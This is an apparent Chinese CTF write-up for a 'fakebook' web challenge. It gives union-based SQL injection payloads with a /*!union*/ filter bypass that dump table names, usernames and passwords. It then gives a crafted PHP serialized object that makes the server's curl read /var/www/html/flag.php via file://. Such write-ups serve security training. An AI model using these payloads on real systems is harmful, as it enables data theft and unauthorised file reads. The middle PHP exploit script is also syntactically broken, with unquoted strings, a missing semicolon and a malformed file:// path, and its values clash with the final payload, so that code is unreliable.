union绕过(反序列化)

union绕过(反序列化)

通过看到/view.php?no=1,可以猜测可能是一个注入点,因此构造常见闭合点,可知数字型注入
通过构造

1
1 union select 1,2,3,4%23

返回的信息可知,union被过滤点,因此可以使用

1
”union“相当于”/*!union*/“

进行绕过,而后进行联合注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
爆数据库
-1 /*!union*/ select 1,database(),3,4%23

1 /*!union*/ select 1,database(),3,4 limit 1 offset 0%23

爆数据表
-1 /*!union*/ select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook' %23

1 /*!union*/ select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook' limit 1 offset 0%23

爆数据列
-1 /*!union*/ select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' %23

1 /*!union*/ select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' limit 1 offset 0%23

爆数据列中字段的内容
-1 /*!union*/ select 1,group_concat(no,"----",username,"----",passwd,"----",data),3,4 from fakebook.users %23

1 /*!union*/ select 1,group_concat(no,"----",username,"----",passwd,"----",data),3,4 from fakebook.users limit 1 offset 0%23

而后看到出现no、username、passwd、data字段的内容,可以看到data字段是序列化的内容,因此我们可以试一下robots.txt来读取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

我们可以用file://协议来读取flag文件,猜测文件在/var/www/html/目录下,因此可以构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

}
$a=new UserInfo();
$a->name=admin;
$a->age=12;
$a->blog=file://var/www/html/flag.php

?>

而后构造payload,来控制检索的data数据,即可读出flag

1
-1 /*!union*/ select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'